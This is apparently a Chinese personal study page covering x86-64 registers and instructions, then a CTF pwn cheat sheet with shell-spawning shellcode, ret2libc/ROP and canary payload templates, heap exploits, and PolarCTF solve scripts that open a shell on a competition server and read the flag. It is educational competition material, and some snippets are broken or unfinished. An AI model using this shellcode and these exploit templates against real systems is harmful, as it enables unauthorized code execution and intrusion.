标志位影响:OF=0, SF, ZF, AF=未定义, CF=0, PF

控制转移指令


CALL – 调用子程序

格式CALL 目标
功能:将返回地址压栈并跳转到目标地址

示例

call _printf    ; 调用外部函数
call [rax+8]    ; 通过指针调用

栈操作PUSH RIP(64位返回地址)


Jcc – 条件跳转

格式Jcc 目标
常见条件

  • JLE:小于等于跳转(SF≠OF或ZF=1)
  • JE/JZ:等于/为零跳转
  • JNE/JNZ:不等于/非零跳转
  • JG/JNLE:大于跳转

示例

jle short loc_1234  ; 条件跳转

栈操作指令


PUSH/POP

格式PUSH 源 / POP 目标
功能:压栈/出栈操作(64位模式下操作8字节)

示例

push rbp        ; 保存帧指针
pop rax         ; 恢复寄存器

栈指针变化:每次操作RSP±8


系统调用指令


SYSCALL

格式SYSCALL
功能:快速系统调用(替代传统的INT 80h)

寄存器使用

  • RAX:系统调用号
  • RDI, RSI, RDX, R10, R8, R9:参数
  • RCX和R11被破坏

REP STOSQ – 块存储

格式REP STOSQ
功能:重复将RAX的值存储到RDI指向的内存

寄存器使用

  • RDI:目标地址
  • RCX:计数
  • RAX:存储的值

示例

xor eax, eax
mov rdi, rsp
mov rcx, 16
rep stosq       ; 清零128字节栈空间

内存操作数寻址模式

通用格式
[基址 + 索引*比例因子 + 位移]

示例

mov rax, [rsp+rbx*8+1c8h]  ; 复杂寻址
lea rdx, [rsi+rdi*4]       ; 地址计算

比例因子:1, 2, 4, 8(对应字节、字、双字、四字)

指令集特点总结

  1. 寄存器使用
    • 16个通用寄存器(RAX-R15)
    • 专用寄存器:RSP(栈指针)、RBP(帧指针)、RIP(指令指针)
  2. 操作数顺序
    • Intel语法:目标在前,源在后
    • 与AT&T语法相反
  3. 内存引用
    • 必须用[]明确表示
    • 支持复杂寻址模式
  4. 数据类型
    • 支持1(byte)、2(word)、4(dword)、8(qword)字节操作
    • 通过指令后缀或寄存器名称隐含
  5. 调用约定
    • System V AMD64 ABI:
      • 整数参数:RDI, RSI, RDX, RCX, R8, R9
      • 浮点参数:XMM0-XMM7
      • 返回值:RAX/RDX

这套指令集组合实现了从基本的算术运算到复杂的内存操作,能够高效地实现高级语言的各种功能。在您分析的代码中,这些指令被巧妙地组合使用来实现Reactor模式的核心功能。

寄存器

x86-64架构的寄存器组包含16个64位通用寄存器,分为传统扩展寄存器和新增寄存器两类,具体如下:

传统扩展寄存器(8个)

  1. RAX‌:累加器,用于算术运算和函数返回值存储‌
  2. RBX‌:基址寄存器,支持内存寻址的基地址‌
  3. RCX‌:计数器,控制循环和字符串操作迭代‌
  4. RDX‌:数据寄存器,用于I/O操作和乘除法辅助存储‌
  5. RSI‌:源索引寄存器,字符串操作中指向源数据‌
  6. RDI‌:目标索引寄存器,字符串操作中指向目标数据‌
  7. RBP‌:栈基址指针,管理函数调用栈帧的基地址‌
  8. RSP‌:栈顶指针,指向当前栈帧顶部‌

新增寄存器(8个)

  1. R8-R15‌:完全通用寄存器,无历史功能约束,命名规则统一(如R8D为低32位,R8W为低16位)‌

寄存器访问规则

  • 位宽兼容性‌:每个64位寄存器支持分层访问(如RAX的低32位为EAX,低16位为AX,低8位为AL/AH)‌

    功能约定‌

    • RAX默认存储函数返回值‌
    • RDI-RCX依次传递函数第1-4个参数,R8-R9传递第5-6个参数‌
    • RBP/RSP用于栈帧管理‌

64 32 16 8

RXX EXX XX XL

Rn rnd rnw rnb

注意,对于有些寄存器,CPU有一些潜规则,用的时候要注意,使用习惯如下:

寄存器 功能描述
eax 通常用于执行加法运算(记住a即可),函数调用的返回值一般存放于此。
ebx 主要用于数据存取操作。
ecx 常作为计数器,例如在for循环中用于控制循环次数。
edx 读写I/O端口时,用于存放端口号。
esp 栈顶指针,始终指向栈的顶部,用于管理栈空间的内存分配与释放。
ebp 栈底指针,指向栈的底部,通常通过ebp + 偏移量的形式定位函数栈中的局部变量。
esi 字符串操作时,用于存放数据源的地址,常与edi搭配执行字符串复制等操作。
edi 字符串操作时,用于存放目的地址,与esi配合完成数据块的移动或复制。

2.标志寄存器eflags

标志寄存器,里面有众多标记位,记录了CPU执行指令过程中的一系列状态,这些标志大都由CPU自动设置和修改:

img

标志寄存器eflags

在x64架构下,原来的eflags寄存器升级为64位的rflags,不过其高32位并没有新增什么功能,保留为将来使用。

指令寄存器

eip: 指令寄存器可以说是CPU中最最重要的寄存器了,它指向了下一条要执行的指令所存放的地址,CPU的工作其实就是不断取出它指向的指令,然后执行这条指令,同时指令寄存器继续指向下面一条指令,如此不断重复,这就是CPU工作的基本日常。

1.IP寄存器的误解

关于IP寄存器,需要详细讲解:

实际上,从上面的讲解可以看出,说IP存储下一条指令的地址,这是一种隐含表述,忽略了段/段基地址的配合。但这是业界默认的,需要明白此点。

各种寻址模式下,IP寄存器的功能如下:

模式 寄存器组合 逻辑地址计算方式 物理地址计算方式(未开启分页) IP/EIP/RIP 的作用
实模式 CS:IP 逻辑地址 = 段基址(CS) : 段偏移(IP) 物理地址 = CS×16 + IP 存储段内偏移量(有效地址),指向下一条指令的相对位置
保护模式 CS:EIP 逻辑地址 = 段选择子(CS) : 段偏移(EIP) 线性地址 = 段基址(从 GDT 获取) + EIP 同上,需配合段描述符获取段基址
64 位模式 RIP 逻辑地址简化为偏移量(RIP) 线性地址 = RIP(段基址默认 0) 直接存储线性地址(有效地址),指向下一条指令的绝对位置

关键说明

  1. 实模式与保护模式
  • IP/EIP 仅存储段内偏移量(有效地址),需与段寄存器(CS)配合形成逻辑地址。
  • 物理地址或线性地址的计算依赖段基址(实模式中 CS 直接是段基址,保护模式中需查 GDT/LDT)。
  1. 64 位模式
  • 采用平坦内存模型,段基址固定为 0,RIP 直接表示线性地址(有效地址),无需分段计算。
  • 分段机制被弱化,逻辑地址概念趋近于“有效地址”或“线性地址”。
  1. 寄存器核心作用
  • IP/EIP/RIP 是指令执行流程的核心控制寄存器,决定下一条指令的位置。
  • CS 寄存器在实模式/保护模式中用于提供段基址或段描述符索引,在 64 位模式中作用显著降低。

同样的,在x64架构下,32位的eip升级为64位的rip寄存器。

段寄存器

段寄存器CPU的内存寻址技术紧密相关。

早在16位的8086CPU时代,内存资源宝贵,CPU使用分段式内存寻址技术:

段寄存器也是16位的。

段寄存器有下面6个,前面4个是早期16位模式就引入了,到了32位时代,又新增了fs和gs两个段寄存器。

段寄存器 含义
cs 代码段
ds 数据段
ss 栈段
es 扩展段
fs 数据段
gs 数据段

段寄存器里面存储的内容与CPU当前工作的内存寻址模式紧密相关。

控制寄存器

控制寄存器是CPU中一组相当重要的寄存器,我们知道eflags寄存器记录了当前运行线程的一系列关键信息

CPU运行过程中自身的一些关键信息保存在哪里呢?答案是控制寄存器

32位CPU总共有cr0-cr45个控制寄存器,64位增加了cr8。他们各自有不同的功能,但都存储了CPU工作时的重要信息:

寄存器 功能描述
cr0 存储了CPU控制标记和工作状态,控制分页机制、浮点运算等功能的开关
cr1 保留未使用
cr2 页错误出现时保存导致出错的线性地址(虚拟地址),用于定位页故障位置
cr3 存储当前进程的页目录基地址(PDBR),指向页表层次结构的根,实现虚拟地址到物理地址的映射
cr4 存储与CPU工作模式、特性相关的控制位,如启用PAE(物理地址扩展)、SSE支持等
cr8 x86-64架构新增,用于控制任务优先级(TPL,Task Priority Level),管理中断处理的优先级

其中,CR0尤其重要,它包含了太多重要的CPU信息,值得单独关注一下:

一些重要的标记位含义如下:

PG`: 是否`启用内存分页

AM: 是否启用内存对齐自动检查

WP: 是否开启内存写保护,若开启,对只读页面尝试写入时将触发异常,这一机制常常被用来实现写时复制功能

PE`: 是否`开启保护模式

除了CR0,另一个值得关注的寄存器是CR3,它保存了当前进程所使用的虚拟地址空间的页目录地址,可以说是整个虚拟地址翻译中的顶级指挥棒,在进程空间切换的时候,CR3也将同步切换

调试寄存器

在x86/x64CPU内部,还有一组用于支持软件调试的寄存器。

在x86架构CPU内部,提供了8个调试寄存器DR0~DR7

描述符寄存器

1.定义描述符寄存器

所谓描述符,其实就是一个数据结构,用来记录一些信息,‘描述’一个东西把很多个描述符排列在一起,组成一个表,就成了描述符表。再使用一个寄存器来指向这个表这个寄存器就是描述符寄存器

在x86/x64系列CPU中,有三个非常重要的描述符寄存器,它们分别存储了三个地址指向了三个非常重要的描述符表

1.gdtr: 全局描述符表寄存器,前面提到,CPU现在使用的是段+分页结合的内存管理方式,那系统总共有那些分段呢?这就存储在一个叫全局描述符表(GDT)的表格中,并用gdtr寄存器指向这个表。这个表中的每一项都描述了一个内存段的信息。

2.ldtr: 局部描述符表寄存器,这个寄存器和上面的gdtr一样,同样指向的是一个段描述符表(LDT)。不同的是,GDT是全局唯一LDT是局部使用的可以创建多个,随着任务段切换而切换(下文介绍任务寄存器会提到)。

3.idtr:中断描述符表寄存器,指向了中断描述符表IDT,这个表的每一项都是一个中断处理描述符,当CPU执行过程中发生了硬中断、异常、软中断时,将自动从这个表中定位对应的表项,里面记录了发生中断、异常时该去哪里执行处理函数

参考命令等

one_gadget是用于在Linux libc库中查找可直接执行execve(“/bin/sh”),

工具会列出该libc版本中所有潜在的execve(“/bin/sh”)利用点,并显示其偏移地址及触发条件(如rax == NULL[rsp+0x30] == NULL

one_gadget libc.so
ROPgadget --binary pwn1 --only 'pop|ret'
ROPgadget --binary pw1 --only 'leave|ret'

ROPgadget --binary pwn1 --only
objdump -d -M intel pwn1
objdump -d -M intel pwn1 |grep system  #找地址
fmtstr(第几个成功格式化,{被覆盖的地址:用什么覆盖})
disass 反编译
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'x00'))
print('puts_real_addr>>'+hex(puts_real_addr)) 64位接收
io.recvline()
puts_addr=u32(io.recvuntil(b'\xf7')[-4:])
print('puts>>>'+hex(puts_addr)) 32位接收
context(arch="arm64",log_levl="debug",os="linux")  系统开头
shellcode
#i386
24字节
shellcode=asm("xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x6962f2f;mov ebx,esp;mov eax,0xb;init 0x80")
23字节
shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
21字节
shellcode='\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
shellcode=asm(shellcraft.sh())
#adm64
24字节
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
libc总结网站:
https://blog.csdn.net/Xzzzz911/article/details/133610804
elf找地址
write_addr=elf.symbols('write')
找write的地址

shellcode 进阶
https://xz.aliyun.com/news/13253

2147483648  最大的int
context(os="linux",arch="amd64") 64位开头可能需要
格式化字符串
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

find -name flag 用来找初始位置没有flag
syscall  一字梭
文件描述符重定向
exec 1>&0

libc:
from LibcSearcher import *

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc.dump('system')+libc_base
bin_sh_addr=libc.dump('str_bin_sh')+libc_base


jmp的笔记
ROPgadget --binary pwn1 --ropchain 构造rop链
b*$rebase(0x136c) pie保护下断点
pie保护网址:
https://xz.aliyun.com/news/12255

记录一下,基础的知识点和一些工具的用法,解题模板等:

32位传参
32位传参的方式是通过栈来传参的,与构造的payload也是有关的,大致如下:(有时候也会变根据题目意思来)

payload =填充的数据 +system +垃圾数据 +binsh

64位传参
64位传参前六个参数是通过寄存器来传参的,分别位rdi,rsi,rdx,rcx,r8,r9,之后的参数是通过栈传递的,同样构造payload也有一套,但还是需要具体问题具体分析,大致如下:

payload =填充的数据 + rdi +binsh +system

32位泄露libc之puts
这里只写构造payload的大体模板,其他的都是通式做多了就知道了(填充的数据是可以变的啊,main_addr也就是你需要返回的地址)

第一次payload泄露libc
payload =b’A’*(0x20 +4) +p32(elf.plt[“puts”]) +p32(main_addr) +p32(elf.got[‘puts’])

第二次payload获得shell
payload =b’A’*(0x20 +4) +p32(ret_addr) +p32(sys_addr) +p32(0) +p32(bin_sh)

64位泄露libc之puts
第一次payload泄露libc
payload =b’A’*(0x20 +8) +p64(rdi_addr) +p64(elf.got[‘puts’]) +p64(elf.plt[“puts”]) +p64(main_addr)

第二次payload得shell
payload=b’A’*(0x20 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)

32位泄露libc之write
第一次payload泄露libc
payload =b’A’*(0x20 +4) +p32(elf.plt[‘write’]) +p32(main_addr) +p32(1)+ p32(elf.got[‘write’]) +p32(4)

第二次payload获得shell
payload =b’A’*(0x20 +4) +p32(ret_addr) +p32(sys_addr) +p32(0) +p32(bin_sh)

64位泄露libc之write
第一次payload泄露libc
payload =b’A’ * (0x20 +8) + p64(rdi_addr) +p64(1)+p64(pop_rsi_r15) +p64(elf.got[‘write’]) +p64(0) +p64(elf.plt[‘write’]) + p64(main_addr)

第二次payload得shell
payload =b’ A’ * (0x20 +8) +p64(rdi_addr) + p64(bin_sh) +p64(sys_addr)

泄露libc之有libc文件
给fresh pwner提醒下,这里的puts是可以换的(看你是通过puts函数泄露的还是通过write函数泄露的,通过哪个写哪个)仔细观察有无 libc 文件的区别(发现没中小括号也是要区分的哦,可以自己试试)

libc_base = puts_addr – libc.sym[‘puts’]
sys_addr = libc_base + libc.sym[‘system’]
bin_sh = libc_base + next(libc.search(b”/bin/sh\x00″))

泄露libc之无libc文件
libc = LibcSearcher(‘puts’,puts_addr)
libc_base = puts_addr – libc.dump(‘puts’)
sys_addr = libc_base + libc.dump(‘system’)
bin_sh = libc_base + libc.dump(‘str_bin_sh’)

Canary
第一次泄露libc

payload =b’A’*(0X20 -8) +p64(canary) +p64(0) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(vuln)

第二次获得shell

payload =b’A’*(0x20 -8) + p64(canary) +p64(0) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh)

Relro
(1)RELRO防御策略是当RELRO保护:

为NO RELRO的时候,init.array、fini.array、got.plt均可读可写
为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写
为FULL RELRO时,init.array、fini.array、got.plt均可读不可写
(2)linux程序运行时:

在加载的时候,会依次调用init.array数组中的每一个函数指针
在结束的时候,依次调用fini.array中的每一个函数指针。
(3)当程序出现格式化字符串漏洞,但是至少需要写两次才能完成攻击。

当少于两个输入点时,可以考虑改写fini.array中的函数指针为main函数地址,可以再执行一次main函数。
一般来说,这个数组的长度为1,也就是说只能写一个地址。[1]

shellcode测试

shellcodetest.c

#include<stdio.h>
#include<stdlib.h>

int main()
{
    void *p = mmap(0x20240000, 0x1000uLL, 7, 34, -1, 0LL);
    void (*a)(void);
    puts("shellcode:");
    read(0,p,0x100);
    ((void (*)(void))p)();
    return 0;
}
//gcc -o test test.c

shellcode

shellcode.py

#0x25 byte

from pwn import *
context.log_level='debug'
context(os='linux',arch = 'amd64')
io = process('./test')

shellcode = asm('''
    mov rbx, 0x0068732f6e69622f
    push rbx
    mov rdi,rsp
    mov rsi,0
    mov rdx,0
    mov rax,59
    syscall
''')
io.sendafter(':\n',shellcode)
io.interactive()
[DEBUG] Sent 0x25 bytes:
    00000000  48 bb 2f 62  69 6e 2f 73  68 00 53 48  89 e7 48 c7  │H·/b│in/s│h·SH│··H·│
    00000010  c6 00 00 00  00 48 c7 c2  00 00 00 00  48 c7 c0 3b  │····│·H··│····│H··;│
    00000020  00 00 00 0f  05                                     │····│·│
    00000025

精简shellcode长度,用xor和push/pop等一字节指令代替mov(4字节指令)

shortshellcode.py

#0x16字节

from pwn import *
context.log_level='debug'
context(os='linux',arch = 'amd64')
io = process('./test')

shellcode = asm('''
    mov rbx, 0x0068732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 59
    pop rax
    syscall
''')
io.sendafter(':\n',shellcode)
io.interactive()
[DEBUG] Sent 0x16 bytes:
    00000000  48 bb 2f 62  69 6e 2f 73  68 00 53 54  5f 31 f6 31  │H·/b│in/s│h·ST│_1·1│
    00000010  d2 6a 3b 58  0f 05                                  │·j;X│··│
    00000016

更短的shellcode

reread

有时候题目给的字节数实在太少,不足以支持我们来构造一个execve的shell怎么办?这时候我们可以想到可以写一个read的系统调用来向shellcode的运行处写入更多数据,从而能够写入足够长度的shellcode

构造函数read(0,addr,len)

纯ascii的shellcode

例如:

ASCII字符     Hex     汇编指令
P           0x50    push %rax
Q           0x51    push %rcx
R           0x52    push %rdx
S           0x53    push %rbx
T           0x54    push %rsp
U           0x55    push %rbp
V           0x56    push %rsi
W           0x57    push %rdi
X           0x58    pop %rax
Y           0x59    pop %rcx
Z           0x5a    pop %rdx

32位 纯ascii字符shellcode

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

64位 纯ascii字符shellcode

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

例:Hgame2024 ezshellcode

ida:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+Ch] [rbp-14h] BYREF
  void (*v5)(void); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    perror("mmap");
    exit(1);
  }
  printf("input the length of your shellcode:");
  __isoc99_scanf("%2d", &v4);
  if ( (int)v4 <= 10 )
  {
    printf("input your shellcode:");
    myread(v5, v4);
  }
  else
  {
    puts("too long");
  }
  v5();
  return 0;
unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{
  char v3; // [rsp+1Fh] [rbp-11h]
  unsigned int i; // [rsp+20h] [rbp-10h]
  unsigned int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v5 = read(0, a1, a2);
  for ( i = 0; i < v5; ++i )
  {
    v3 = *((_BYTE *)a1 + i);
    if ( (v3 <= 0x60 || v3 > 0x7A) && (v3 <= 0x40 || v3 > 0x5A) && (v3 <= 0x2F || v3 > 0x39) )
    {
      puts("Invalid character\n");
      exit(1);
    }
  }
  return v6 - __readfsqword(0x28u);
}

很明显限制了输入字符在a~z,A~Z,0~9,

那么就用上面找到的纯字符shellcode即可

LIBC查找网站

https://libc.blukat.me/

https://libc.rip/ #puts 150 根据后三位找到libc

刷题网站推荐

漏洞题C源码例子

sample.c

#include <unistd.h>
#include <stdio.h>
#include <string.h>

int vul():
    char gift[] = "Z^\xc3";
    char s[0x50];
    int i;
    printf("Don't cry, I'll give you a gift:%p\n",&s);
    fflush(stdout);
    for (i=0;i<2;i++){
        memset(s,0,0x50);
        write(1,">",1);
        fflush(stdout);
        read(0,s,0x70);
        printf("%s",s);
        fllush(stdout);
    }
    return 0;
}
int main(){
    return vul();
}



PolarCTF PWN解题

forpwn

100 分 1 Polar币

2025年夏季个人挑战赛

file pwn1

checksec –file pwn1

lich@lich-Ubt:/ctf/polarPWN/forpwnfile pwn1
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=969b5cdacbc3a96aa7dff350f5a84f0b76b43416, not stripped


lich@lich-Ubt:/ctf/polarPWN/forpwn checksec --file=pwn1
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFYFortified        Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   79 Symbols        No   pwn1
lich@lich-Ubt:/ctf/polarPWN/forpwn$

IDA64打开看信息

  _BYTE v6[12]; // [rsp+64h] [rbp-Ch] BYREF

  *(_QWORD *)&v6[4] = __readfsqword(0x28u);
  strcpy(v4, "Your lucky number is ?");
  memset(&v4[23], 0, 73);
  v5 = 0;
  init(&v5, argv, v6);
  printf("%s", v4);
  puts("When do you do your pwn?");
  __isoc99_scanf("%c", &v4[50]);
  if ( v4[50] == '0' )
  {
    puts("!!!");
  }
  else
  {
    puts("Now, you can pwn!!!");
    get(v4);
    system("/bin/sh");
  }
  return 0;
}

鼠标点击get,查看get 函数伪代码

int __fastcall get(__int64 a1)
{
  int result; // eax
  int i; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 4; ++i )
  {
    gets(a1);
    if ( *(_BYTE *)(10 * i + a1) != 48 )  //48 : ’0‘
    {
      puts("Sorry, try again.");
      exit(0);
    }
    result = puts("You can do it!");
  }
  return result;
}

用IDA看源码,F5,看第一次输入非0

循环5次输入,和50个0.

exp.py

from pwn import *
io = remote("1.95.36.136",2099)
io.send("1")
for i in range(5):
        io.sendline("0"*50)
io.interactive()

run exp:

lich@lich-Ubt:/ctf/polarPWN/forpwnpython3 exp.py
[+] Opening connection to 1.95.36.136 on port 2099: Done
/ctf/polarPWN/forpwn/exp.py:3: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.send("1")
/ctf/polarPWN/forpwn/exp.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline("0"*50)
[*] Switching to interactive mode
Your lucky number is ?When do you do your pwn?
Now, you can pwn!!!
You can do it!
You can do it!
You can do it!
You can do it!
You can do it! ls -ltr
total 24
drwxr-x--- 1 0 1000   33 Feb 16  2023 lib64
drwxr-x--- 1 0 1000 4096 Feb 16  2023 lib32
drwxr-x--- 1 0 1000 4096 Feb 16  2023 lib
drwxr-x--- 1 0 1000   55 Feb 16  2023 dev
drwxr-x--- 1 0 1000   34 Feb 16  2023 bin
-rwxr-x--- 1 0 1000 9160 May 23 08:00 pwn2
-rwxr----- 1 0 1000   43 Oct  9 12:24 flag
cat flag
flag{c7b1a4a5-d628-4580-944e-b88d06809154} cd bin
ls  -tlr
total 328
-rwxr-x--- 1 0 1000 154072 Feb 16  2023 sh
-rwxr-x--- 1 0 1000 126584 Feb 16  2023 ls
-rwxr-x--- 1 0 1000  52080 Feb 16  2023 cat pwd
/bin
$  

go

100 分 1 Polar币

2025年夏季个人挑战赛

exp.py

from pwn import *
r = remote('1.95.36.136',2085)
r.recvuntil('csgo>>>')
win_addr=int(r.recv(14),16)
base = win_addr - 0x960
sys_addr = base + 0x94d
payload = b'a'*(0x30+0x8)+p64(sys_addr)
r.sendline(payload)
r.interactive()

bllhl_pieee

500 分 5 Polar币

2025年夏季个人挑战赛

exp.py

from pwn import *
io=process('./pwn2')
context(arch='amd64',log_level='debug',os='linux')

io.recv()
io.sendline('no\x00')
#gdb.attach(io)
io.sendline('%83p-%97p')
io.recvuntil('0x')
canary=int(io.recv(16),16)
io.recvuntil('-0x')
base=int(io.recv(12),16)-0x3d
print('canary-->'+hex(canary))
print('base  -->'+hex(base))
system_addr=base+0x868
gets_addr=base+0x8a0
buf_addr=base+0x202050

payload=p64(canary)*0x4f+


io.interactive()

ROPgadget --binary pwn1 --only 'pop|ret'

gadget

500 分 5 Polar币

2025年夏季个人挑战赛

from pwn import *
r = process('./pwn2')
elf = ELF('./pwn2')
libc = ELF('./libc.so')
one_gadget = 0x45216
puts_got = elf.got['puts']
r.recvuntil("You need an address.")
r.sendline(str(puts_got))
r.sendline(p64(520))
r..recvuntil('0x')
puts_addr = int(r.recv(16),16)
base = puts_addr - libc.symbols['puts']
payload = base + one_gadget
r.sendline(str(payload))
r.interactive()


magichouse

500 分 5 Polar币

2025年夏季个人挑战赛

from pwn import *

context.log_level = 'debug'
context(arch='amd64',os='linux')

r = process('./magichouse')
elf = ELF('./magichouse')
libc = elf.libc

def add(length,name):
    r.recvuntil(":")
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(length))
    r.recvuntil(':')
    r.sendline(name)

def edit(idx,length,name):
    r.recvuntil(':')
    r.sendline('3')
    r.recvuntil(':')
    r.sendline(str(idx))
    r.recvuntil(':')
    r.sendline(str(length))
    r.recvuntil(':')
    r.sendline(name)

def remove(idx):
    r.recvuntil(':')
    r.sendline('4')
    r.recvuntil(':')
    r.sendline(str(idx))

def show():
    r.recvuntil(':')
    r.sendline('1')

add(0x80,'a'*8)  #chunk0    
add(0x80,'b'*8)  #chunk1
add(0x80,'c'*8)  #chunk2

gdb.attach(r)
pause()

ptr = 0x6020c8

fake_chunk = p64(0)
fake_chunk += p64(0x81)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += 'c'*0x60
fake_chunk += p64(0x80)
fake_chunk += p64(0x90)
edit(0,0x90,fake_chunk)



polarmagicheap

300 分 3 Polar币

2025年夏季个人挑战赛

exp.py

from pwn import *
#r = process("./polarmagicheap")
r = remote("1.95.36.136",2119)

def create_heap(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def edit_heap(idx, size, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def del_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

create_heap(0x20,"aaaa")
create_heap(0x80,"bbbb")
create_heap(0x20,"cccc")

del_heap(1)
#gdb.attach(r)
# heap
# bins
#pause()

magic = 0x6020c0
fd = 0 
bk = magic - 0x10


edit_heap(0, 0x20+0x20,b'a'*0x20 + p64(0x0)+p64(0x91)+p64(fd)+p64(bk))
create_heap(0x80,"dddd")
r.recvuntil(":")
r.sendline("2020")
r.interactive()

创建自己的ctf pwn题

install docker

#install docker
sudo apt install docker.io
vi /etc/docker/daemon.json
{
 "registry-mirrors" : [
            "https://docker.m.daocloud.io/",
            "https://huecker.io/",
            "https://dockerhub.timeweb.cloud",
            "https://noohub.ru/",
            "https://dockerproxy.com",
            "https://docker.mirrors.ustc.edu.cn",
            "https://docker.nju.edu.cn",
            "https://xx4bwyg2.mirror.aliyuncs.com",
            "http://f1361db2.m.daocloud.io",
            "https://registry.docker-cn.com",
            "http://hub-mirror.c.163.com",
            "https://docker.mirrors.ustc.edu.cn"

 ],
 "insecure-registries" : [
   "registry.docker-cn.com",
   "docker.mirrors.ustc.edu.cn"
 ],
 "debug" : true,
 "experimental" : true
}


systemctl restart docker.service
sudo systemctl daemon-reload
sudo systemctl restart docker

clone ctf_xinetd

git clone https://github.com/Eadom/ctf_xinetd

cd ctf_xinetd
#view README.md
docker build -t myctf:lastest .

docker run -d -p "0.0.0.0:1212:9999" -h "pwn" --name "pwn" myctf:lastest

nc 192.168.1.77 1212

发表评论